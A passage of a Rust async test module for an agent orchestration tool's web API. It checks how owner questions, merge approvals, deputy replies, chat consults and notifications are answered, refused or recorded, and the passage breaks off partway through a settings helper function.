12115 let mut q = Question::new(
12116 "old-run".into(),
12117 crate::land::APPROVAL_NODE.into(),
12118 "land".into(),
12119 "Decision".into(),
12120 "Review findings".into(),
12121 vec![
12122 "merge".into(),
12123 "hold".into(),
12124 crate::land::REPAIR.into(),
12125 crate::merge_decision::WITHDRAW.into(),
12126 "reimplement:beta".into(),
12127 ],
12128 );
12129 q.merge_target = Some(crate::merge_decision::Target {
12130 pr: "https://github.com/example/repo/pull/42".into(),
12131 head: "exact-reviewed-head".into(),
12132 language: "ja".into(),
12133 });
12134 q.consult = Some(ask::ChatConsult {
12135 talk: "another-conversation".into(),
12136 at: jiff::Timestamp::now(),
12137 });
12138 fx.questions().put(&mut q).unwrap();
12139 let ui = Arc::new(Ui::new(
12140 fx.queue(),
12141 fx.questions(),
12142 fx.talks(),
12143 fx.runs(),
12144 fx.home.path().into(),
12145 std::path::PathBuf::from("."),
12146 ));
12147 let response = question_answer(
12148 State(ui.clone()),
12149 Path(q.id.clone()),
12150 Ok(Json(NewAnswer {
12151 choice: Some(choice.into()),
12152 text: None,
12153 ..Default::default()
12154 })),
12155 )
12156 .await
12157 .unwrap();
12158 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12159 let disk = fx.questions().get(&q.id).unwrap();
12160 assert_eq!(disk.merge_target, q.merge_target);
12161 assert_eq!(disk.consult, q.consult);
12162 assert!(
12163 disk.answer_authority.is_none(),
12164 "a direct owner card is its own decision"
12165 );
12166 assert_eq!(disk.resolution().as_deref(), Some(choice));
12167 assert!(
12168 question_answer(
12169 State(ui),
12170 Path(q.id.clone()),
12171 Ok(Json(NewAnswer {
12172 choice: Some("merge".into()),
12173 text: None,
12174 ..Default::default()
12175 }))
12176 )
12177 .await
12178 .is_err(),
12179 "an already settled decision cannot turn into merge approval"
12180 );
12181 }
12182 }
12183
12184 #[tokio::test]
12185 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12186 let fx = Fixture {
12187 home: TempDir::new().unwrap(),
12188 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12189 };
12190 let mut state = crate::land::tests::repair_state(true, true);
12191 state.status = RunStatus::Landing;
12192 state.parked = true;
12193 state.driver_exited = true;
12194 let mut task = Task::new(
12195 "Existing PR owner".into(),
12196 state.instruction.clone(),
12197 state.repo.clone(),
12198 Source::Human,
12199 );
12200 task.runs.push(state.id.clone());
12201 task.status = TaskStatus::Parked;
12202 fx.queue().put(&mut task).unwrap();
12203 let mut q = Question::new(
12204 state.id.clone(),
12205 crate::land::APPROVAL_NODE.into(),
12206 "land".into(),
12207 "Contested merge".into(),
12208 "Original evidence".into(),
12209 vec!["merge".into(), "hold".into()],
12210 );
12211 state.land_approval = Some(crate::run::LandApproval {
12212 question: q.id.clone(),
12213 head: "reviewed-head".into(),
12214 });
12215 state.save_under(fx.home.path()).unwrap();
12216 fx.questions().put(&mut q).unwrap();
12217 task.hold_manual(Some("Pause this PR".into()));
12219 fx.queue().put(&mut task).unwrap();
12220 let ui = Arc::new(Ui::new(
12223 fx.queue(),
12224 fx.questions(),
12225 fx.talks(),
12226 fx.runs(),
12227 fx.home.path().to_path_buf(),
12228 state.repo.clone(),
12229 ));
12230 let response = question_answer(
12231 State(ui),
12232 Path(q.id.clone()),
12233 Ok(Json(NewAnswer {
12234 choice: Some(crate::land::REPAIR.into()),
12235 text: None,
12236 ..Default::default()
12237 })),
12238 )
12239 .await
12240 .unwrap();
12241 assert_eq!(response.0.question.id, q.id);
12242 let upgraded = fx.questions().get(&q.id).unwrap();
12243 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12244 assert!(upgraded.detail.starts_with("Original evidence"));
12245 let claim = fx.queue().claim(&task.id).unwrap();
12246 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12247 assert!(
12248 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12249 "an existing driver keeps its claim"
12250 );
12251 drop(claim);
12252 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12253 let resumed = fx.queue().get(&task.id).unwrap();
12254 assert_eq!(
12255 resumed
12256 .resume_override
12257 .as_ref()
12258 .unwrap()
12259 .pinned_run
12260 .as_deref(),
12261 Some(state.id.as_str())
12262 );
12263 assert!(resumed.status.runnable());
12264 assert_eq!(resumed.instruction, task.instruction);
12265 assert_eq!(resumed.runs, task.runs);
12266 assert!(resumed.action_applied(&q.id));
12267 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12268 assert_eq!(fx.queue().list().len(), 1);
12269 assert_eq!(
12270 fx.queue().get(&task.id).unwrap().resume_override,
12271 resumed.resume_override
12272 );
12273 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12274 assert!(
12275 disk.merge_repairs.is_empty(),
12276 "only the claimed run driver may execute repair"
12277 );
12278 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12279 }
12280
12281 #[tokio::test]
12282 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12283 let fx = Fixture::start().await;
12284 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12285 let path = format!("/api/questions/{id}/answer");
12286
12287 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12288 assert_eq!(res.status, 200, "{}", res.body);
12289 let body = res.json();
12290 assert_eq!(body["status"], "answered");
12291 assert_eq!(body["answer"]["choice"], "Redis");
12292
12293 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12297 assert_eq!(again.status, 409, "{}", again.body);
12298 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12299 }
12300
12301 #[tokio::test]
12302 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12303 let home = tempfile::tempdir().unwrap();
12304 let ui = delta_test_ui(home.path());
12305 let mut q = Question::new(
12306 "task".into(),
12307 crate::land::APPROVAL_NODE.into(),
12308 "land".into(),
12309 "Explain?".into(),
12310 String::new(),
12311 vec!["hold".into()],
12312 );
12313 q.deputy = Some(ask::Deputy::new("context".into()));
12314 ui.questions.put(&mut q).unwrap();
12315 let mut cfg = stub_config();
12316 cfg.daemon.max_deputies = 0;
12317 let mut status = crate::daemon::Status::new();
12318 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12319 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12320 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12321 let error = question_say(
12322 State(ui.clone()),
12323 Path(q.id.clone()),
12324 Ok(Json(NewSay {
12325 body: "Explain the findings".into(),
12326 })),
12327 )
12328 .await
12329 .unwrap_err();
12330 assert_eq!(
12331 error.text_reason,
12332 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12333 );
12334 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12335
12336 let mut text = Question::new(
12337 "task".into(),
12338 "ask".into(),
12339 "operator".into(),
12340 "Which name?".into(),
12341 String::new(),
12342 vec![],
12343 );
12344 ui.questions.put(&mut text).unwrap();
12345 let Json(view) = question_answer(
12346 State(ui.clone()),
12347 Path(text.id.clone()),
12348 Ok(Json(NewAnswer {
12349 choice: None,
12350 text: Some("chosen name".into()),
12351 ..Default::default()
12352 })),
12353 )
12354 .await
12355 .unwrap();
12356 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12357 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12358 }
12359
12360 #[tokio::test]
12361 async fn question_text_handler_admission_without_transport() {
12362 let home = tempfile::tempdir().unwrap();
12363 let ui = delta_test_ui(home.path());
12364 let mut q = Question::new(
12365 "task".into(),
12366 crate::land::APPROVAL_NODE.into(),
12367 "land".into(),
12368 "May this PR merge?".into(),
12369 String::new(),
12370 vec!["hold".into()],
12371 );
12372 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12373 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12374 ui.questions.put(&mut q).unwrap();
12375 let say = || {
12376 Ok(Json(NewSay {
12377 body: "Explain the findings".into(),
12378 }))
12379 };
12380 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12381 .await
12382 .unwrap_err();
12383 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12384 let response = rejected.into_response();
12385 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12386 .await
12387 .unwrap();
12388 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12389 assert_eq!(body["code"], "question_text_unavailable");
12390 assert_eq!(body["reason"], "deputy_exhausted");
12391 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12392 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12393 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12394 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12395 .await
12396 .unwrap();
12397 assert_eq!(view.text_delivery.state, "live");
12398 assert!(view.question.waiter.is_none());
12399 assert!(view.question.cwd.is_none());
12400 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12401 ui.questions.drop_lease(&q.id);
12402 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12403 .await
12404 .unwrap_err();
12405 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12406 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12407 let _ = question_answer(
12408 State(ui.clone()),
12409 Path(q.id.clone()),
12410 Ok(Json(NewAnswer {
12411 choice: Some("hold".into()),
12412 text: None,
12413 ..Default::default()
12414 })),
12415 )
12416 .await
12417 .unwrap();
12418 assert_eq!(
12419 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12420 Some("hold")
12421 );
12422 }
12423
12424 #[tokio::test]
12425 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12426 let fx = Fixture::start().await;
12427 let store = fx.questions();
12428 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12429 store
12430 .update(&id, |q| {
12431 q.node = crate::land::APPROVAL_NODE.to_owned();
12432 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12433 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12434 Ok(())
12435 })
12436 .unwrap();
12437 let path = format!("/api/questions/{id}/say");
12438 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12439 assert_eq!(refused.status, 422, "{}", refused.body);
12440 assert!(
12441 refused.json()["error"]
12442 .as_str()
12443 .unwrap()
12444 .contains("deputy_exhausted")
12445 );
12446 assert!(store.get(&id).unwrap().thread.is_empty());
12447
12448 store.beat(&id, ask::WaiterKind::Deputy);
12450 let view = fx.get("/api/questions").await.json();
12451 assert_eq!(view[0]["text_delivery"]["state"], "live");
12452 let accepted = fx
12453 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12454 .await;
12455 assert_eq!(accepted.status, 200, "{}", accepted.body);
12456 let before = std::fs::read(store.path_of(&id)).unwrap();
12457
12458 store.drop_lease(&id);
12461 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12462 assert_eq!(refused.status, 422, "{}", refused.body);
12463 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12464 let held = fx
12465 .post(
12466 &format!("/api/questions/{id}/answer"),
12467 Some(r#"{"choice":"hold"}"#),
12468 )
12469 .await;
12470 assert_eq!(held.status, 200, "{}", held.body);
12471 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12472 }
12473
12474 #[tokio::test]
12475 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12476 let repo = tempfile::tempdir().unwrap();
12477 let mut cfg = stub_config();
12478 cfg.daemon.max_deputies = 0;
12479 std::fs::write(
12480 repo.path().join("magi.toml"),
12481 toml::to_string(&cfg).unwrap(),
12482 )
12483 .unwrap();
12484 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12485 let mut status = crate::daemon::Status::new();
12486 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12487 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12488 let id = ask(&fx, "Explain?", &["hold"]);
12489 fx.questions()
12490 .update(&id, |q| {
12491 q.node = crate::land::APPROVAL_NODE.into();
12492 q.deputy = Some(ask::Deputy::new("context".into()));
12493 q.deputy.as_mut().unwrap().agent = "stub".into();
12494 Ok(())
12495 })
12496 .unwrap();
12497 cfg.daemon.max_deputies = 1;
12498 std::fs::write(
12499 repo.path().join("magi.toml"),
12500 toml::to_string(&cfg).unwrap(),
12501 )
12502 .unwrap();
12503 let view = fx.get("/api/questions").await.json();
12504 assert_eq!(view[0]["deputies_enabled"], true);
12505 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12506 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12507 let res = fx
12508 .post(
12509 &format!("/api/questions/{id}/say"),
12510 Some(r#"{"body":"Please explain"}"#),
12511 )
12512 .await;
12513 assert_eq!(res.status, 422, "{}", res.body);
12514 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12515 }
12516
12517 #[tokio::test]
12518 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12519 let fx = Fixture::start().await;
12520 let id = ask(&fx, "No seat", &[]);
12521 let store = fx.questions();
12522 let before = std::fs::read(store.path_of(&id)).unwrap();
12523 let res = fx
12524 .post(
12525 &format!("/api/questions/{id}/say"),
12526 Some(r#"{"body":"hello"}"#),
12527 )
12528 .await;
12529 assert_eq!(res.status, 422, "{}", res.body);
12530 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12531 let res = fx
12532 .post(
12533 &format!("/api/questions/{id}/answer"),
12534 Some(r#"{"text":"hello"}"#),
12535 )
12536 .await;
12537 assert_eq!(res.status, 200, "{}", res.body);
12538 assert_eq!(
12539 store.get(&id).unwrap().resolution().as_deref(),
12540 Some("hello")
12541 );
12542 }
12543
12544 #[tokio::test]
12545 async fn saying_something_appends_a_turn_without_answering() {
12546 let fx = Fixture::start().await;
12547 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12548 fx.questions().beat(&id, ask::WaiterKind::Asker);
12549 let path = format!("/api/questions/{id}/say");
12550
12551 let res = fx
12552 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12553 .await;
12554 assert_eq!(res.status, 200, "{}", res.body);
12555 let body = res.json();
12556 assert_eq!(body["status"], "open", "talking back is not a decision");
12557 assert_eq!(body["answer"], Value::Null);
12558 assert_eq!(body["thread"][0]["who"], "operator");
12559 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12560 assert_eq!(body["waiting_on_agent"], true);
12561 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12563 }
12564
12565 #[tokio::test]
12566 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12567 let fx = Fixture::start().await;
12568 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12569
12570 let list = fx.get("/api/questions").await.json();
12571 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12572
12573 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12574 assert_eq!(res.status, 409, "{}", res.body);
12575 let q = fx.questions().get(&id).unwrap();
12576 assert!(q.status.open());
12577 assert!(q.consult.is_none());
12578 }
12579
12580 #[tokio::test]
12581 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12582 let fx = Fixture::start().await;
12583 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12584 let cfg = Config {
12585 agents: vec![crate::config::AgentSpec {
12586 id: "mock".to_owned(),
12587 kind: crate::config::AgentKind::Command,
12588 model: None,
12589 command: vec!["true".to_owned()],
12590 extra_args: Vec::new(),
12591 env: Default::default(),
12592 prompt_delivery: None,
12593 max_turn_secs: None,
12594 }],
12595 ..Config::default()
12596 };
12597 let talk = crate::talk::begin(
12598 &fx.talks(),
12599 &cfg,
12600 fx.home.path().to_path_buf(),
12601 Some("mock"),
12602 )
12603 .unwrap();
12604 let mut task = Task::new(
12605 "t".to_owned(),
12606 "Do it".to_owned(),
12607 PathBuf::from("/repo/magi"),
12608 Source::Agent {
12609 run: talk.id.clone(),
12610 node: crate::queue::CHAT_NODE.to_owned(),
12611 },
12612 );
12613 task.start("20260902-000000-beef".to_owned());
12614 fx.queue().put(&mut task).unwrap();
12615
12616 let list = fx.get("/api/questions").await.json();
12617 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12618 assert_eq!(
12619 list[0]["choices"],
12620 serde_json::json!(["SQLite", "Redis"]),
12621 "the hand-over is never a choice"
12622 );
12623 fx.questions()
12624 .update(&id, |q| {
12625 q.node = crate::land::APPROVAL_NODE.into();
12626 q.choices = vec!["merge".into(), "hold".into()];
12627 Ok(())
12628 })
12629 .unwrap();
12630 let list = fx.get("/api/questions").await.json();
12631 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12632 assert_eq!(list[0]["can_consult_chat"], true);
12633 fx.questions()
12634 .update(&id, |q| {
12635 q.node = crate::bump::NOTICE_NODE.into();
12636 Ok(())
12637 })
12638 .unwrap();
12639 let list = fx.get("/api/questions").await.json();
12640 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12641 assert_eq!(list[0]["can_consult_chat"], false);
12642 }
12643
12644 #[tokio::test]
12645 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12646 let fx = Fixture::start().await;
12647 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12648 fx.questions()
12649 .update(&id, |q| {
12650 q.node = crate::land::APPROVAL_NODE.into();
12651 q.choices = vec!["merge".into(), "hold".into()];
12652 Ok(())
12653 })
12654 .unwrap();
12655 let cfg = Config {
12656 agents: vec![crate::config::AgentSpec {
12657 id: "mock".to_owned(),
12658 kind: crate::config::AgentKind::Command,
12659 model: None,
12660 command: vec!["true".to_owned()],
12661 extra_args: Vec::new(),
12662 env: Default::default(),
12663 prompt_delivery: None,
12664 max_turn_secs: None,
12665 }],
12666 ..Config::default()
12667 };
12668 let repo = fx.home.path().join("chat-repo");
12670 std::fs::create_dir_all(&repo).unwrap();
12671 let toml = repo.join("magi.toml");
12672 std::fs::write(&toml, "this is = = not toml").unwrap();
12673 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12674 let mut task = Task::new(
12675 "t".to_owned(),
12676 "Do it".to_owned(),
12677 PathBuf::from("/repo/magi"),
12678 Source::Agent {
12679 run: talk.id.clone(),
12680 node: crate::queue::CHAT_NODE.to_owned(),
12681 },
12682 );
12683 task.start("20260902-000000-beef".to_owned());
12684 fx.queue().put(&mut task).unwrap();
12685
12686 let path = format!("/api/questions/{id}/consult");
12687 let res = fx.post(&path, None).await;
12688 assert!(res.status >= 400, "{}", res.body);
12689 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12690 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12691
12692 std::fs::write(&toml, "").unwrap();
12693 let res = fx.post(&path, None).await;
12694 assert_eq!(res.status, 202, "{}", res.body);
12695 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12696 let q = fx.questions().get(&id).unwrap();
12697 assert!(q.status.open());
12698 assert!(q.answer.is_none());
12699 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12700 assert_eq!(res.json()["can_consult_chat"], true);
12701 let list = fx.get("/api/questions").await.json();
12702 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12703 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12704
12705 let res = fx
12706 .post(
12707 &format!("/api/questions/{id}/answer"),
12708 Some(r#"{"choice":"hold"}"#),
12709 )
12710 .await;
12711 assert_eq!(res.status, 200, "{}", res.body);
12712 assert_eq!(res.json()["answer"]["choice"], "hold");
12713 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12714 assert_eq!(res.json()["can_consult_chat"], false);
12715 assert_eq!(fx.post(&path, None).await.status, 409);
12716
12717 let mut talk = fx.talks().get(&talk.id).unwrap();
12718 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12719 let list = fx.get("/api/questions").await.json();
12720 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12721 assert_eq!(list[0]["origin_chat_closed"], true);
12722 assert_eq!(list[0]["can_consult_chat"], false);
12723
12724 fx.talks().remove(&talk.id).unwrap();
12725 let list = fx.get("/api/questions").await.json();
12726 assert_eq!(list[0]["origin_chat"], Value::Null);
12727 assert_eq!(list[0]["origin_chat_closed"], false);
12728 assert_eq!(list[0]["can_consult_chat"], false);
12729 }
12730
12731 #[tokio::test]
12732 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12733 let fx = Fixture::start().await;
12734 let store = fx.questions();
12735 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12736 store.beat(&id, ask::WaiterKind::Asker);
12737 assert_eq!(
12738 fx.get("/api/health").await.json()["questions_needs_owner"],
12739 1
12740 );
12741
12742 let res = fx
12748 .post(
12749 &format!("/api/questions/{id}/say"),
12750 Some(r#"{"body":"why not Postgres?"}"#),
12751 )
12752 .await;
12753 assert_eq!(res.status, 200, "{}", res.body);
12754 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12755 assert_eq!(
12756 fx.get("/api/health").await.json()["questions_needs_owner"],
12757 0,
12758 "waiting on the agent is not waiting on the owner"
12759 );
12760
12761 let mut q = store.get(&id).expect("get");
12765 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12766 .expect("reply");
12767 store.put(&mut q).expect("put");
12768 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12769 assert_eq!(
12770 fx.get("/api/health").await.json()["questions_needs_owner"],
12771 1,
12772 "the agent's reply is what should light the banner back up"
12773 );
12774 }
12775
12776 #[tokio::test]
12777 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12778 let fx = Fixture::start().await;
12779 let store = fx.questions();
12780
12781 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12782 let res = fx
12783 .post(
12784 &format!("/api/questions/{empty_id}/say"),
12785 Some(r#"{"body":" "}"#),
12786 )
12787 .await;
12788 assert_eq!(res.status, 400, "{}", res.body);
12789
12790 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12791 let mut answered = store.get(&answered_id).expect("get");
12792 answered
12793 .answer(Answer::Choice("SQLite".to_owned()))
12794 .expect("answer");
12795 store.put(&mut answered).expect("put");
12796 let res = fx
12797 .post(
12798 &format!("/api/questions/{answered_id}/say"),
12799 Some(r#"{"body":"still there?"}"#),
12800 )
12801 .await;
12802 assert_eq!(res.status, 409, "{}", res.body);
12803
12804 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12805 let mut abandoned = store.get(&abandoned_id).expect("get");
12806 abandoned.abandon("timed out");
12807 store.put(&mut abandoned).expect("put");
12808 let res = fx
12809 .post(
12810 &format!("/api/questions/{abandoned_id}/say"),
12811 Some(r#"{"body":"still there?"}"#),
12812 )
12813 .await;
12814 assert_eq!(res.status, 409, "{}", res.body);
12815 }
12816
12817 #[tokio::test]
12818 async fn an_answer_the_question_does_not_offer_is_refused() {
12819 let fx = Fixture::start().await;
12820 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12821 let path = format!("/api/questions/{id}/answer");
12822
12823 for body in [
12824 r#"{"choice":"Postgres"}"#,
12825 r#"{"text":"whatever you think"}"#,
12826 r#"{"choice":"Redis","text":"both"}"#,
12827 r#"{}"#,
12828 ] {
12829 let res = fx.post(&path, Some(body)).await;
12830 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12831 assert!(res.json()["error"].is_string(), "{}", res.body);
12832 }
12833 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12835 }
12836
12837 #[tokio::test]
12838 async fn a_free_text_question_takes_text_and_not_a_choice() {
12839 let fx = Fixture::start().await;
12840 let id = ask(&fx, "What should the flag be called?", &[]);
12841 fx.questions().beat(&id, ask::WaiterKind::Asker);
12842 let path = format!("/api/questions/{id}/answer");
12843
12844 assert_eq!(
12845 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12846 400
12847 );
12848 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12849 assert_eq!(res.status, 200, "{}", res.body);
12850 assert_eq!(res.json()["answer"]["text"], "--json");
12851 }
12852
12853 #[tokio::test]
12854 async fn an_unknown_question_is_a_json_404() {
12855 let fx = Fixture::start().await;
12856 let res = fx
12857 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12858 .await;
12859 assert_eq!(res.status, 404, "{}", res.body);
12860 assert!(res.json()["error"].is_string());
12861 }
12862
12863 #[tokio::test]
12864 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12865 let fx = Fixture::start().await;
12866 let questions = Questions::at(fx.home.path().join("questions"));
12867 let store = Notices::at(fx.home.path().join("notifications"));
12868 let mut q = ask::Question::new(
12869 "t1".into(),
12870 "conduct".into(),
12871 "conductor".into(),
12872 "Continue?".into(),
12873 String::new(),
12874 Vec::new(),
12875 );
12876 questions.put(&mut q).unwrap();
12877 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12878 n.covered_by = Some(q.id.clone());
12879 let n = store.raise(n).unwrap();
12880 let listed = fx.get("/api/notifications").await.json();
12881 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12882 questions
12883 .update(&q.id, |q| {
12884 q.abandon("run gone");
12885 Ok(())
12886 })
12887 .unwrap();
12888 let listed = fx.get("/api/notifications").await.json();
12889 assert!(listed["items"][0]["answerable_question"].is_null());
12890 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12891 assert!(
12892 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12893 .unwrap()
12894 .contains("answerable_question")
12895 );
12896 }
12897
12898 #[tokio::test]
12899 async fn notifications_list_read_dismiss_and_health_agree() {
12900 let fx = Fixture::start().await;
12901 let store = Notices::at(fx.home.path().join("notifications"));
12902 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12903 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12904
12905 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12906 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12907
12908 store
12909 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12910 .unwrap();
12911 let health = fx.get("/api/health").await.json();
12912 assert_eq!(health["notifications_unread"], 2);
12913 assert_ne!(
12914 health["notifications_rev"], rev0,
12915 "the badge must move live"
12916 );
12917
12918 let listed = fx.get("/api/notifications").await.json();
12919 assert_eq!(listed["unread"], 2);
12920 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12921 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12922
12923 let read = fx
12924 .post(&format!("/api/notifications/{}/read", a.id), None)
12925 .await;
12926 assert_eq!(read.status, 200, "{}", read.body);
12927 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12928
12929 let gone = fx
12930 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12931 .await;
12932 assert_eq!(gone.status, 200, "{}", gone.body);
12933 let listed = fx.get("/api/notifications").await.json();
12934 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12935 assert_eq!(listed["unread"], 0);
12936
12937 store.raise(Notice::info("x", "again")).unwrap();
12938 let all = fx.post("/api/notifications/read-all", None).await;
12939 assert_eq!(all.status, 200, "{}", all.body);
12940 assert_eq!(all.json()["marked"], 1);
12941 assert_eq!(
12942 fx.get("/api/health").await.json()["notifications_unread"],
12943 0
12944 );
12945
12946 let missing = fx.post("/api/notifications/nope/read", None).await;
12947 assert_eq!(missing.status, 404, "{}", missing.body);
12948 assert!(missing.json()["error"].is_string());
12949 }
12950
12951 #[tokio::test]
12958 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12959 let f = Fixture::start().await;
12960
12961 let res = f
12962 .post(
12963 "/api/queue",
12964 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12965 )
12966 .await;
12967
12968 assert_eq!(
12969 res.status, 405,
12970 "POST /api/queue must not be a route: {}",
12971 res.body
12972 );
12973 assert!(
12974 f.queue().list().is_empty(),
12975 "a task filed by a route that does not exist must not reach the disk"
12976 );
12977 assert_eq!(f.get("/api/queue").await.status, 200);
12980 }
12981
12982 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12984 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12985 .expect("checkout dir");
12986 }
12987
12988 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12990
12991 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12992 let tmp = TempDir::new().expect("tempdir");
12993 let repo = tmp.path().join("repo");
12994 std::fs::create_dir_all(&repo).expect("repo dir");
12995 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12996 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12997 if let Some(text) = machine_toml {
12998 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12999 std::fs::write(&machine, text).expect("machine toml");
13000 }
13001 (tmp, repo, machine)
13002 }
13003
13004 async fn settings_checkout(path: &FsPath, text: &str) {
13005 std::fs::create_dir_all(path).unwrap();
13006 std::fs::write(path.join("magi.toml"), text).unwrap();
13007 for args in [
13008 vec!["init", "-b", "main"],
13009 vec!["add", "magi.toml"],
13010 vec![
13011 "-c",
